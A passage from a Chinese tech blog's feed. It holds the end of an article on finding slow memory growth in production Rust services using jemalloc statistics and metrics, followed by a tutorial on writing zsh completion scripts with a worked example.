&lt;h2 id=&quot;nei-cun-huan-man-zeng-chang-bu-shi-fang&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-memory-troubleshootting.html#%E5%86%85%E5%AD%98%E7%BC%93%E6%85%A2%E5%A2%9E%E9%95%BF%E4%B8%8D%E9%87%8A%E6%94%BE&quot;&gt;内存缓慢增长不释放&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;不同于内存的急速增长，内存整体的使用处于一个稳定的状态，但是随着时间的推移，内存又在稳定地、缓慢的增长，通过上面所说的方法，很难发现内存究竟在哪里使用了。&lt;&#x2F;p&gt;
&lt;p&gt;这个问题也是我们在生产碰到的非常棘手的问题之一，相较于此前的剧烈变化，我们不再关心发生了哪些分配事件，我们更关心的是当前的内存分布情况，但是在没有 GC 的 Rust 中，观察当前程序的内存分布情况，并不是一件很简单的事情（尤其是在不影响生产运行的情况下）。&lt;&#x2F;p&gt;
&lt;p&gt;针对这个情况，我们在生产环境中的实践是这样的：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;手动释放部分结构（往往是缓存）内存&lt;&#x2F;li&gt;
&lt;li&gt;然后观察前后的内存变化（释放了多少内存），确定各个模块的内存大小&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;而借助 jemalloc 的统计功能，可以获取到当前的内存使用量，我们完全可以重复进行 &lt;strong&gt;释放制定模块的内存+计算释放大小&lt;&#x2F;strong&gt;，来确定内存的分布情况。&lt;&#x2F;p&gt;
&lt;p&gt;这个方案的缺陷也是很明显的，就是参与内存占用检测的模块是先验的（你无法发现你认知以外的内存占用模块），不过这个缺陷还是可以接受的，因为一个程序中可能的占用内存过大的地方，我们往往都是知道的。&lt;&#x2F;p&gt;
&lt;p&gt;下面给出一个 demo 工程，可以根据这个 demo 工程，应用到生产。&lt;&#x2F;p&gt;
&lt;p&gt;下面是 demo 工程的依赖:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;toml&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;[dependencies]
jemallocator = &amp;quot;0.3.2&amp;quot;
jemalloc-ctl = &amp;quot;0.3.2&amp;quot;

[dependencies.jemalloc-sys]
version = &amp;quot;0.3.2&amp;quot;
features = [&amp;quot;stats&amp;quot;, &amp;quot;profiling&amp;quot;, &amp;quot;unprefixed_malloc_on_supported_platforms&amp;quot;]

[profile.release]
debug = true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;demo 的 src&#x2F;main.rs 的代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;Rust&quot; class=&quot;language-Rust &quot;&gt;&lt;code class=&quot;language-Rust&quot; data-lang=&quot;Rust&quot;&gt;use jemallocator;
use jemalloc_ctl::{epoch, stats};

#[global_allocator]
static ALLOC: jemallocator::Jemalloc = jemallocator::Jemalloc;

fn alloc_cache() -&amp;gt; Vec&amp;lt;i8&amp;gt; {
    let mut v = Vec::with_capacity(1024 * 1024);
    v.push(0i8);
    v
}

fn main() {
    let cache_0 = alloc_cache();
    let cache_1 = alloc_cache();

    let e = epoch::mib().unwrap();
    let allocated_stats = stats::allocated::mib().unwrap();
    let mut heap_size = allocated_stats.read().unwrap();

    drop(cache_0);
    e.advance().unwrap();
    let new_heap_size = allocated_stats.read().unwrap();
    println!(&amp;quot;cache_0 size:{}B&amp;quot;, heap_size - new_heap_size);
    heap_size = new_heap_size;

    drop(cache_1);
    e.advance().unwrap();
    let new_heap_size = allocated_stats.read().unwrap();
    println!(&amp;quot;cache_1 size:{}B&amp;quot;, heap_size - new_heap_size);
    heap_size = new_heap_size;

    println!(&amp;quot;current heap size:{}B&amp;quot;, heap_size);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;比起上一个 demo 长了一点，但是思路非常简单，只要简单说明一下 jemalloc-ctl 的一个使用注意点即可，在获取新的统计信息之前，必须先调用一下 &lt;code&gt;epoch.advance()&lt;&#x2F;code&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;下面是我的编译后运行的输出信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cache_0 size:1048576B
cache_1 size:1038336B
current heap size:80488B
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里可以发现，cache_1 的 size 并不是严格的 1MB，这个可以说是正常的，一般来说（不针对这个 demo）主要有两个原因：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在进行内存统计的时候，还有其他的内存变化在发生。&lt;&#x2F;li&gt;
&lt;li&gt;jemalloc 提供的 stats 数据不一定是完全准确的，因为他为了更好的多核性能，不可能使用全局的统计，因此实际上是为了性能，放弃了统计信息的一致性。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;不过这个信息的不精确，并不会给定位内存占用过高的问题带来阻碍，因为释放的内存往往是巨大的，微小的扰动并不会影响到最终的结果。&lt;&#x2F;p&gt;
&lt;p&gt;另外，其实还有更简单的方案，就是通过释放缓存，直接观察机器的内存变化，不过需要知道的是内存不一定是立即还给 OS 的，而且靠眼睛观察也比较累，更好的方案还是将这样的内存分布检查功能集成到自己的 Rust 应用之中。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qi-ta-tong-yong-fang-an&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-memory-troubleshootting.html#%E5%85%B6%E4%BB%96%E9%80%9A%E7%94%A8%E6%96%B9%E6%A1%88&quot;&gt;其他通用方案&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;metrics&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-memory-troubleshootting.html#metrics&quot;&gt;metrics&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;另外还有一个非常有效、我们一直都在使用的方案，就是在产生大量内存分配的时候，将分配的内存大小记录成指标，供后续采集、观察。&lt;&#x2F;p&gt;
&lt;p&gt;整体的方案如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用 Prometheus Client 记录分配的内存（应用层统计）。&lt;&#x2F;li&gt;
&lt;li&gt;暴露出 metrics 接口。&lt;&#x2F;li&gt;
&lt;li&gt;配置 Promethues server，进行 metrics 拉取。&lt;&#x2F;li&gt;
&lt;li&gt;配置 Grafana，连接 Prometheus server，进行可视化展示。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;nei-cun-pai-cha-gong-ju&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-memory-troubleshootting.html#%E5%86%85%E5%AD%98%E6%8E%92%E6%9F%A5%E5%B7%A5%E5%85%B7&quot;&gt;内存排查工具&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在内存占用过高的排查过程中，也尝试过其他的强大工具，比如 heaptrack、valgrind 等工具，但是这些工具有一个巨大的弊端，就是会带来非常大的 overhead，一般来说，使用这类工具的话，基本上应用程序是不可能在生产运行的。&lt;&#x2F;p&gt;
&lt;p&gt;也正因如此，在生产的环境下，我们很少使用这类工具排查内存的问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-memory-troubleshootting.html#%E6%80%BB%E7%BB%93&quot;&gt;总结&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;虽然 Rust 已经帮我们避免掉了内存泄漏的问题，但是内存占用过高的问题，我想不少在生产长期运行的程序还是会有非常大的概率出现的。本文主要分享了我们在生产环境中遇到的几种内存占用过高的问题场景，以及目前我们在不影响生产正常服务的情况下，一些常用的、快速定位问题的排查方案，希望能给大家带来一些启发和帮助。&lt;&#x2F;p&gt;
&lt;p&gt;当然可以肯定的是，还有其他我们没有遇到过的内存问题，也还有更好的、更方便的方案去做内存问题的定位和排查，希望知道的同学可以一起多多交流。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-memory-troubleshootting.html#%E5%8F%82%E8%80%83&quot;&gt;参考&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;[1] &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.adms-conf.org&#x2F;2019-camera-ready&#x2F;durner_adms19.pdf&quot;&gt;Experimental Study of Memory Allocation forHigh-Performance Query Processing&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[2] &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;jemalloc.net&#x2F;jemalloc.3.html&quot;&gt;jemalloc 使用文档&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[3] &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;gnzlbg&#x2F;jemallocator&quot;&gt;jemallocator&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;guan-yu-wo-men&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-memory-troubleshootting.html#%E5%85%B3%E4%BA%8E%E6%88%91%E4%BB%AC&quot;&gt;关于我们&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;我们是蚂蚁智能监控技术中台的时序存储团队，我们正在使用 Rust 构建高性能、低成本并具备实时分析能力的新一代时序数据库，欢迎加入或者推荐，请联系：jiachun.fjc@antgroup.com&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>如何编写一个 zsh 补全脚本</title>
        <published>2024-05-16T00:00:00+00:00</published>
        <updated>2024-05-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/如何编写一个-zsh-补全脚本/"/>
        <id>https://vercel.juzhong.asia/obsidian/如何编写一个-zsh-补全脚本/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/如何编写一个-zsh-补全脚本/">&lt;h1 id=&quot;ru-he-bian-xie-yi-ge-zsh-bu-quan-jiao-ben&quot;&gt;如何编写一个 zsh 补全脚本&lt;&#x2F;h1&gt;
&lt;p&gt;本文对 zsh 补全系统进行了简单的介绍，然后分析了一个完整的示例，该示例可以作为一个新的补全脚本的起点。剩余内容对示例补全脚本进行了简要的分析和介绍。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zsh-completion-system&quot;&gt;zsh completion system&lt;&#x2F;h2&gt;
&lt;p&gt;zsh completion system（&lt;code&gt;compsys&lt;&#x2F;code&gt;）是 zsh 的重要组成部分，当我们在 shell 中输入命令时可以通过制表符（tab 键）进行补全。我们可以在此处找到完整的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;zsh.sourceforge.net&#x2F;Doc&#x2F;Release&#x2F;Completion-System.html#Completion-System&quot;&gt;文档&lt;&#x2F;a&gt;，也可以查看&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;zsh-users&#x2F;zsh&#x2F;blob&#x2F;master&#x2F;Completion&#x2F;Base&#x2F;Core&#x2F;_main_complete&quot;&gt;源代码&lt;&#x2F;a&gt;。这里，&lt;code&gt;_main_complete&lt;&#x2F;code&gt; 函数非常关键，由于它比较冗长，这里我会简单进行介绍一下。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;补全系统需要激活。如果你使用了 &lt;code&gt;oh-my-zsh&lt;&#x2F;code&gt;，那么它已经被激活了，否则需要在 &lt;code&gt;~&#x2F;.zshrc&lt;&#x2F;code&gt; 中增加以下代码来进行激活。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;autoload -U compinit  &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;compinit  &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;当我们在 shell 中输入 &lt;code&gt;foobar &amp;lt;tab&amp;gt;&lt;&#x2F;code&gt; 时，zsh 会调用针对 &lt;code&gt;foobar&lt;&#x2F;code&gt; 的补全函数。补全函数通过调用一系列 compsys 内建函数来为 zsh 提供了补全项。&lt;&#x2F;p&gt;
&lt;p&gt;补全函数可以通过直接调用 &lt;code&gt;compdef&lt;&#x2F;code&gt; 函数来手动进行注册，如：&lt;code&gt;compdef &lt;&#x2F;code&gt;。更为常规方法是将补全函数定义在一个独立的文件（也称 &lt;strong&gt;补全脚本&lt;&#x2F;strong&gt;）中。按照惯例，定义了补全函数的文件的命名通常是以下划线 &quot;_&quot; 为前缀，拼接目标程序的名称。当通过 &lt;code&gt;compinit&lt;&#x2F;code&gt; 初始化补全系统时，zsh 会查找 &lt;code&gt;fpath&lt;&#x2F;code&gt; 变量指定路径下的所有文件，并读取第一行。因此，我们只需要将补全脚本放在 &lt;code&gt;fpath&lt;&#x2F;code&gt; 变量所指定的路径下即可，当然，还需要确保文件的第一行包含了 &lt;code&gt;compdef&lt;&#x2F;code&gt; 命令，如：&lt;code&gt;#compdef _foobar foobar&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;fpath&lt;&#x2F;code&gt; 变量类似于 &lt;code&gt;PATH&lt;&#x2F;code&gt; 变量，指定了一系列的路径。zsh 根据 &lt;code&gt;fpath&lt;&#x2F;code&gt; 来查找函数。我们可以通过 &lt;code&gt;echo $fpath&lt;&#x2F;code&gt; 来查找 &lt;code&gt;fpath&lt;&#x2F;code&gt; 变量所指定的值。如果想要新增一个路径，只需要重新设置 &lt;code&gt;fpath&lt;&#x2F;code&gt; 变量即可，如：&lt;code&gt;fpath=($fpath &amp;lt;path-to-folder&amp;gt;)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;bu-quan-jiao-ben-shi-li&quot;&gt;补全脚本示例&lt;&#x2F;h2&gt;
&lt;p&gt;假设我们有一个程序 &lt;code&gt;hello&lt;&#x2F;code&gt;，其调用接口如下所示：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;hello -h | --help&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;hello quietly [--slient] &amp;lt;message&amp;gt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;hello loudly [--repeat=&amp;lt;number&amp;gt;] &amp;lt;message&amp;gt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;hello&lt;&#x2F;code&gt; 有两个子命令 &lt;code&gt;quietly&lt;&#x2F;code&gt; 和 &lt;code&gt;loudly&lt;&#x2F;code&gt;，两者各自有着不同的参数。理想情况下，当没有提供任何命令时，我们希望补全脚本能够补全 &lt;code&gt;-h&lt;&#x2F;code&gt;，&lt;code&gt;--help&lt;&#x2F;code&gt;，&lt;code&gt;quietly&lt;&#x2F;code&gt;，&lt;code&gt;loudly&lt;&#x2F;code&gt;。一旦输入 &lt;code&gt;quietly&lt;&#x2F;code&gt; 或 &lt;code&gt;loudly&lt;&#x2F;code&gt;，补全脚本会根据上下文提供特定的补全项。&lt;&#x2F;p&gt;
&lt;p&gt;如下所示的补全脚本实现了上述的补全功能。本文的其余部分，我将对该补全脚本进行解释，并深入探讨其他一些内容。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;#compdef _hello hello&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;function _hello {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    local line&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    _arguments -C \&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        &quot;-h[Show help information]&quot; \&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        &quot;--h[Show help information]&quot; \&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        &quot;1: :(quietly loudly)&quot; \&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        &quot;*::arg:-&amp;gt;args&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    case $line[1] in&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        loudly)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            _hello_loudly&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        ;;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        quietly)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            _hello_quietly&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        ;;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    esac&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;function _hello_quietly {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    _arguments \&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        &quot;--silent[Dont output anything]&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;function _hello_loudly {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    _arguments \&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;--repeat=[Repat the any number of times]&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这里有几个需要注意的地方，特别是传递给 &lt;code&gt;_arguments&lt;&#x2F;code&gt; 函数的参数，以及 &lt;code&gt;local&lt;&#x2F;code&gt; 的使用。不过，让我们先来看一下补全脚本的整体结构。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zheng-ti-jie-gou&quot;&gt;整体结构&lt;&#x2F;h2&gt;
&lt;p&gt;事实上，zsh 补全脚本并没有什么特别的。它只不过是一个使用了 &lt;code&gt;#compdef &lt;&#x2F;code&gt; 命令来将自己注册给 &lt;code&gt;program&lt;&#x2F;code&gt; 的普通 zsh 脚本，因此我们可以自由选择合适的脚本结构，不过我发现以下的结构很有帮助。&lt;&#x2F;p&gt;
&lt;p&gt;定义一个函数，并将其命名为 &lt;code&gt;_&lt;&#x2F;code&gt;，提供默认的补全项。对于每一个子命令，为其定义一个 &lt;code&gt;__&lt;&#x2F;code&gt; 函数，提供子命令的补全项。以我的实践经验来看，这样写会非常直观。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;arguments-de-shi-yong&quot;&gt;&lt;code&gt;_arguments&lt;&#x2F;code&gt; 的使用&lt;&#x2F;h2&gt;
&lt;p&gt;脚本通过调用 &lt;code&gt;_arguments&lt;&#x2F;code&gt; 函数来向 zsh 提供可能的补全项。当然，zsh 还提供了很多其他函数可以达到该目的。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;zsh.sourceforge.net&#x2F;Doc&#x2F;Release&#x2F;Completion-System.html#Completion-System&quot;&gt;查看更多&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;在上述这个例子中，关于 &lt;code&gt;_arguments&lt;&#x2F;code&gt; 函数的使用，有两个有趣的地方。字符串参数被称为 &lt;code&gt;specs&lt;&#x2F;code&gt;，当我们第一次用时会觉得有点捉摸不透——在 zsh 中我们没有太多抽象方式，因此所有有点复杂的内容都在字符串中进行编码，这使得我们能够在更小的范围内学习这种 DSL。在上述这个例子中，&lt;code&gt;specs&lt;&#x2F;code&gt; 使用了两种形式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;option specs：&lt;code&gt;OPT[DESCRIPTION]:MESSAGE:ACTION&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;command specs：&lt;code&gt;N:MESSAGE:ACTION&lt;&#x2F;code&gt;。&lt;code&gt;N&lt;&#x2F;code&gt; 表示第 N 个参数。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;ACTION&lt;&#x2F;code&gt; 部分还是其自己的 DSL。在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;zsh.sourceforge.net&#x2F;Doc&#x2F;Release&#x2F;Completion-System.html#Completion-System&quot;&gt;官方文档&lt;&#x2F;a&gt;中搜索 &lt;code&gt;specs: overview&lt;&#x2F;code&gt; 可以查看有全部的内容。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;-C&lt;&#x2F;code&gt; 标志位和 spec 为 &quot;&lt;code&gt;*::arg:-&amp;gt;args&lt;&#x2F;code&gt;&quot; 的 &lt;code&gt;ACTION&lt;&#x2F;code&gt; 进行组合也很有趣。下面是文档中关于 &lt;code&gt;-C&lt;&#x2F;code&gt; 标志位的描述：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;在这种格式中，&lt;code&gt;_arguments&lt;&#x2F;code&gt; 处理参数和选项，用参数更新状态以表示处理完毕，然后返回控制流返回给调用者（函数）；然后，调用者自行生成补全项。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这里面涉及到的参数包括：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;local context state state_descr line&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;typeset -A opt_args&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;我们可以认为是 &lt;code&gt;_arguments&lt;&#x2F;code&gt; 函数放回了多个值——事实上，&lt;code&gt;_arguments&lt;&#x2F;code&gt; 函数只是修改了全局变量，但由于使用了 &lt;code&gt;typeset -A&lt;&#x2F;code&gt; 和局部变量 &lt;code&gt;local&lt;&#x2F;code&gt;，因此只是在当前作用域中进行了修改。&lt;code&gt;typeset&lt;&#x2F;code&gt; 的 &lt;code&gt;-A&lt;&#x2F;code&gt; 选项告诉 zsh 参数是一个关联数组。&lt;&#x2F;p&gt;
&lt;p&gt;因此，&lt;code&gt;-C&lt;&#x2F;code&gt; 标志位使得我们能够检查补全状态，并根据用户提供特定于上下文的补全项。在上述这个例子中，我们使用 &lt;code&gt;switch&lt;&#x2F;code&gt; 语句来匹配 &lt;code&gt;line&lt;&#x2F;code&gt; 变量输入的子命令，然后调用对应的补全函数来为子命令提供补全项。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mads-hartmann.com&#x2F;2017&#x2F;08&#x2F;06&#x2F;writing-zsh-completion-scripts.html&quot;&gt;Writing zsh completion scripts&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;zsh.sourceforge.net&#x2F;Doc&#x2F;Release&#x2F;Completion-System.html#Completion-System&quot;&gt;Completion System&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;zsh-users&#x2F;zsh&#x2F;blob&#x2F;master&#x2F;Completion&#x2F;Base&#x2F;Core&#x2F;_main_complete&quot;&gt;_main_complete&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Rust从入门到精通</title>
        <published>2024-05-14T00:00:00+00:00</published>
        <updated>2024-05-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/rust从入门到精通/"/>
